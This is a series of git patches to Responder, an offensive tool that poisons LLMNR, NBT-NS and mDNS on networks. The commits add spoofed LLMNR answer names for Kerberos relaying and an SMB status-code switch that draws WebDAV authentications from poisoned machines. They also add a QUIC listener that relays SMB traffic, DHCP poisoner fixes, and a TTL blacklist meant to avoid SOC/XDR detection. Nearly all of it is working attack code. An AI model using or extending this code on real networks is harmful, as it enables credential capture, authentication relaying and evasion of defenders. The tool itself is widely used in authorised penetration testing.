From d3dd37a324341342a891d776d73a3e07a1c77dc8 Mon Sep 17 00:00:00 2001 From: User Date: Thu, 23 Jan 2025 14:35:41 -0800 Subject: [PATCH 01/11] Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose --- README.md | 15 ++++++++++++--- Responder.py | 1 + poisoners/LLMNR.py | 22 ++++++++++++++++------ settings.py | 1 + 4 files changed, 30 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 7ee2a49..731cbaa 100755 --- a/README.md +++ b/README.md @@ -157,15 +157,24 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. Default: False + ON. This option is highly effective. Default: False + -Q, --quiet Tell Responder to be quiet, disables a bunch of + printing from the poisoners. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers. + Value in hex (30 seconds = 1e). use '-t random' for + random TTL + -N ANSWERNAME, --AnswerName=ANSWERNAME + Specifies the canonical name returned by the LLMNR + poisoner in tits Answer section. By default, the + answer's canonical name is the same as the query. + Changing this value is mainly useful when attempting + to perform Kebreros relaying over HTTP. - - ## Donation ## You can contribute to this project by donating to the following $XLM (Stellar Lumens) address: diff --git a/Responder.py b/Responder.py index bbd3c7a..bfe13cf 100755 --- a/Responder.py +++ b/Responder.py @@ -46,6 +46,7 @@ parser.add_option('--lm', action="store_true", help="Force LM h parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) +parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 36fe7c3..25e020e 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + if settings.Config.AnswerName is None: + AnswerName = Name + else: + AnswerName = settings.Config.AnswerName LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host @@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == True: # Poisoning Mode #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == 'IPv6' and Have_IPv6: #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index ee96190..141e339 100644 --- a/settings.py +++ b/settings.py @@ -172,6 +172,7 @@ class Settings: self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + self.AnswerName = options.AnswerName # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From 674342325181706c2e4c50171b38caf96364a869 Mon Sep 17 00:00:00 2001 From: Lino <123986259+L1-0@users.noreply.github.com> Date: Mon, 24 Feb 2025 11:49:06 +0100 Subject: [PATCH 02/11] Update RPC.py Fix Output of RPC.py --- servers/RPC.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/servers/RPC.py b/servers/RPC.py index ce931f5..c8074ac 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon @@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler): #RPC.calculate() #self.request.send(NetworkSendBufferPython2or3(str(RPC))) #data = self.request.recv(1024) - #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1)) + #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1)) except Exception: self.request.close() From 6bf6887c49751b3f1bee219d4cf91871b80d4cff Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:32:19 +0100 Subject: [PATCH 03/11] Add status code control --- README.md | 5 +++++ Responder.py | 17 +++++++++-------- servers/SMB.py | 12 ++++++++++-- settings.py | 1 + 4 files changed, 25 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 731cbaa..f09820f 100755 --- a/README.md +++ b/README.md @@ -173,6 +173,11 @@ Options: answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP. + -E, --ErrorCode Changes the error code returned by the SMB server to + STATUS_LOGON_FAILURE. By default, the status is + STATUS_ACCESS_DENIED. Changing this value permits to + obtain WebDAV authentications from the poisoned + machines where the WebClient service is running. ## Donation ## diff --git a/Responder.py b/Responder.py index bfe13cf..045824b 100755 --- a/Responder.py +++ b/Responder.py @@ -47,6 +47,7 @@ parser.add_option('--disable-ess', action="store_true", help="Force ESS parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) +parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False) options, args = parser.parse_args() if not os.geteuid() == 0: @@ -301,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -348,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: diff --git a/servers/SMB.py b/servers/SMB.py index b93ebb7..2110927 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP ## Session Setup 3 answer SMBv2. if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() packet1 = str(head)+str(t) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) @@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) Buffer = StructPython2or3('>i', str(Packet))+str(Packet) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/settings.py b/settings.py index 141e339..db99c1e 100644 --- a/settings.py +++ b/settings.py @@ -173,6 +173,7 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet self.AnswerName = options.AnswerName + self.ErrorCode = options.ErrorCode # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From e781559be0def04affdc0eaadb7b92a4efbeec45 Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:40:51 +0100 Subject: [PATCH 04/11] Indentation typos --- Responder.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Responder.py b/Responder.py index 045824b..f80c157 100755 --- a/Responder.py +++ b/Responder.py @@ -302,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -349,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: From 871cdffa97d4edb70e39df839711a0291e440bce Mon Sep 17 00:00:00 2001 From: Joshua Fickett Date: Thu, 3 Apr 2025 15:16:00 -0400 Subject: [PATCH 05/11] added quic support based on xpn's work --- Responder.conf | 1 + Responder.py | 7 ++ requirements.txt | 1 + servers/QUIC.py | 168 +++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 1 + 5 files changed, 178 insertions(+) create mode 100644 servers/QUIC.py diff --git a/Responder.conf b/Responder.conf index a9eac42..b74a851 100755 --- a/Responder.conf +++ b/Responder.conf @@ -8,6 +8,7 @@ NBTNS = On ; Servers to start SQL = On SMB = On +QUIC = On RDP = On Kerberos = On FTP = On diff --git a/Responder.py b/Responder.py index bfe13cf..9a4b342 100755 --- a/Responder.py +++ b/Responder.py @@ -14,6 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import asyncio import optparse import ssl try: @@ -361,6 +362,12 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) + if settings.Config.QUIC_On_Off: + from servers.QUIC import start_quic_server + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key)))) + if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) diff --git a/requirements.txt b/requirements.txt index 7823774..8bd1f34 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1,2 @@ +aioquic netifaces>=0.10.4 diff --git a/servers/QUIC.py b/servers/QUIC.py new file mode 100644 index 0000000..a2397f5 --- /dev/null +++ b/servers/QUIC.py @@ -0,0 +1,168 @@ +import asyncio +import logging +import ssl +import argparse +import netifaces +from utils import * +from aioquic.asyncio import serve +from aioquic.asyncio.protocol import QuicConnectionProtocol +from aioquic.quic.configuration import QuicConfiguration +from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated + +BUFFER_SIZE = 11000 + +def get_interface_ip(interface_name): + """Get the IP address of a network interface.""" + try: + # Get address info for the specified interface + addresses = netifaces.ifaddresses(interface_name) + + # Get IPv4 address (AF_INET = IPv4) + if netifaces.AF_INET in addresses: + return addresses[netifaces.AF_INET][0]['addr'] + + # If no IPv4 address, try IPv6 (AF_INET6 = IPv6) + if netifaces.AF_INET6 in addresses: + return addresses[netifaces.AF_INET6][0]['addr'] + + logging.error(f"[!] No IP address found for interface {interface_name}") + return None + except ValueError: + logging.error(f"[!] Interface {interface_name} not found") + return None + + +class QUIC(QuicConnectionProtocol): + def __init__(self, *args, target_address=None, **kwargs): + super().__init__(*args, **kwargs) + self.tcp_connections = {} # stream_id -> (reader, writer) + self.target_address = target_address or "localhost" + + def quic_event_received(self, event): + if isinstance(event, StreamDataReceived): + asyncio.create_task(self.handle_stream_data(event.stream_id, event.data)) + elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated): + # Only try to close connections if we have any + if self.tcp_connections: + asyncio.create_task(self.close_all_tcp_connections()) + + async def handle_stream_data(self, stream_id, data): + if stream_id not in self.tcp_connections: + # Create a new TCP connection to the target interface:445 + try: + reader, writer = await asyncio.open_connection(self.target_address, 445) + self.tcp_connections[stream_id] = (reader, writer) + + # Start task to read from TCP and write to QUIC + asyncio.create_task(self.tcp_to_quic(stream_id, reader)) + + logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...") + print(text("[QUIC] Forwarding QUIC connection to SMB server")) + except Exception as e: + logging.error(f"[!] Error connecting to {self.target_address}:445: {e}") + return + + # Forward data from QUIC to TCP + try: + _, writer = self.tcp_connections[stream_id] + writer.write(data) + await writer.drain() + except Exception as e: + logging.error(f"[!] Error writing to TCP: {e}") + await self.close_tcp_connection(stream_id) + + async def tcp_to_quic(self, stream_id, reader): + try: + while True: + data = await reader.read(BUFFER_SIZE) + if not data: + break + + self._quic.send_stream_data(stream_id, data) + self.transmit() + except Exception as e: + logging.error(f"[!] Error reading from TCP: {e}") + finally: + await self.close_tcp_connection(stream_id) + + async def close_tcp_connection(self, stream_id): + if stream_id in self.tcp_connections: + _, writer = self.tcp_connections[stream_id] + writer.close() + await writer.wait_closed() + del self.tcp_connections[stream_id] + + async def close_all_tcp_connections(self): + try: + # Make a copy of the keys to avoid modification during iteration + stream_ids = list(self.tcp_connections.keys()) + for stream_id in stream_ids: + try: + await self.close_tcp_connection(stream_id) + except KeyError: + # Silently ignore if the stream ID no longer exists + pass + except Exception as e: + # Catch any other exceptions that might occur + logging.debug(f"[!] Error closing TCP connections: {e}") + +async def start_quic_server(listen_interface, cert_path, key_path): + # Configure QUIC + configuration = QuicConfiguration( + alpn_protocols=["smb"], + is_client=False, + ) + + # Load certificate and private key + try: + configuration.load_cert_chain(cert_path, key_path) + except Exception as e: + logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}") + return + + # Resolve interfaces to IP addresses + listen_ip = listen_interface + if not is_ip_address(listen_interface): + listen_ip = get_interface_ip(listen_interface) + if not listen_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + target_ip = listen_interface + if not is_ip_address(listen_interface): + target_ip = get_interface_ip(listen_interface) + if not target_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + # Start QUIC server with correct protocol factory + server = await serve( + host=listen_ip, + port=443, + configuration=configuration, + create_protocol=lambda *args, **kwargs: QUIC( + *args, + target_address=target_ip, + **kwargs + ) + ) + + logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)") + logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)") + + # Keep the server running forever + await asyncio.Future() + + +def is_ip_address(address): + """Check if a string is a valid IP address.""" + import socket + try: + socket.inet_pton(socket.AF_INET, address) + return True + except socket.error: + try: + socket.inet_pton(socket.AF_INET6, address) + return True + except socket.error: + return False diff --git a/settings.py b/settings.py index 141e339..a03ee92 100644 --- a/settings.py +++ b/settings.py @@ -124,6 +124,7 @@ class Settings: self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) From a0d1f03617294e62d677e5d3591b82d0b0caf93c Mon Sep 17 00:00:00 2001 From: Stefan Walter Date: Sat, 12 Apr 2025 12:11:00 +0200 Subject: [PATCH 06/11] DHCP poisoner: refactor FindIP - do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46 - operate on bytes (avoid encoding/decoding round-trip) and use simple string search instead of regular expressions closes #181 closes #304 --- poisoners/DHCP.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index a0e1713..602fdc2 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -239,9 +239,12 @@ def ParseSrcDSTAddr(data): return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - data = data.decode('latin-1') - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]).encode('latin-1') + IPPos = data.find(b"\x32\x04") + 2 + if IPPos == -1 or IPPos + 4 >= len(data): + return None + else: + IP = data[IPPos:IPPos+4] + return IP def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient From a76ee47867311bf42683b6c31db1fad45b6c99ae Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:23:00 -0300 Subject: [PATCH 07/11] added check for aioquic & updated version to reflect recent changes --- settings.py | 2 +- utils.py | 7 ++++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 64ff0ca..d8e7f04 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.5.0' +__version__ = 'Responder 3.1.6.0' class Settings: diff --git a/utils.py b/utils.py index 38a72b1..58fa108 100644 --- a/utils.py +++ b/utils.py @@ -29,7 +29,12 @@ try: import netifaces except: sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') - + +try: + import aioquic +except: + sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"') + from calendar import timegm def if_nametoindex2(name): From 658480e0a558ca57a5cfcc3caaa06eecacd88696 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:27:55 -0300 Subject: [PATCH 08/11] added recent changelog --- CHANGELOG.md | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bbc5d88..755e6a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,35 @@ + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose # Changelog All notable changes to this project will be documented in this file. From 58eb8731a5e7f4d60a5bc2c8d6dc13109bdb7de7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:34:30 -0300 Subject: [PATCH 09/11] Added SNMP srv enabled by default --- Responder.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.conf b/Responder.conf index b74a851..5a4e46a 100755 --- a/Responder.conf +++ b/Responder.conf @@ -21,7 +21,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On -SNMP = Off +SNMP = On MQTT = On ; Custom challenge. From fa2b8dd5fdd97831729aa862cd66adeb6becd324 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 11:42:50 -0300 Subject: [PATCH 10/11] minor fixes --- utils.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/utils.py b/utils.py index 58fa108..b77ccbb 100644 --- a/utils.py +++ b/utils.py @@ -485,21 +485,13 @@ def banner(): ]) print(banner) - print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) - print('') - print(" To support this project:") - print(" Github -> https://github.com/sponsors/lgandx") - print(" Paypal -> https://paypal.me/PythonResponder") - print('') - print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") - print(" To kill this script hit CTRL-C") print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - + print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder") print('') print(color("[+] ", 2, 1) + "Poisoners:") print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) @@ -579,4 +571,8 @@ def StartupMessage(): print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) - + + #credits + print('') + print(color("[*] ", 2, 1)+"Version: "+settings.__version__) + print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, ") From 398a1fce310b38647b8bc09d3d6bad2f977696a7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 18:45:45 -0300 Subject: [PATCH 11/11] Fixed minor parsing issue in FindIP --- poisoners/DHCP.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 602fdc2..3d54126 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -240,8 +240,9 @@ def ParseSrcDSTAddr(data): def FindIP(data): IPPos = data.find(b"\x32\x04") + 2 - if IPPos == -1 or IPPos + 4 >= len(data): - return None + if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1: + #Probably not present in the DHCP options we received, let's grab it from the IP header instead + return data[12:16] else: IP = data[IPPos:IPPos+4] return IP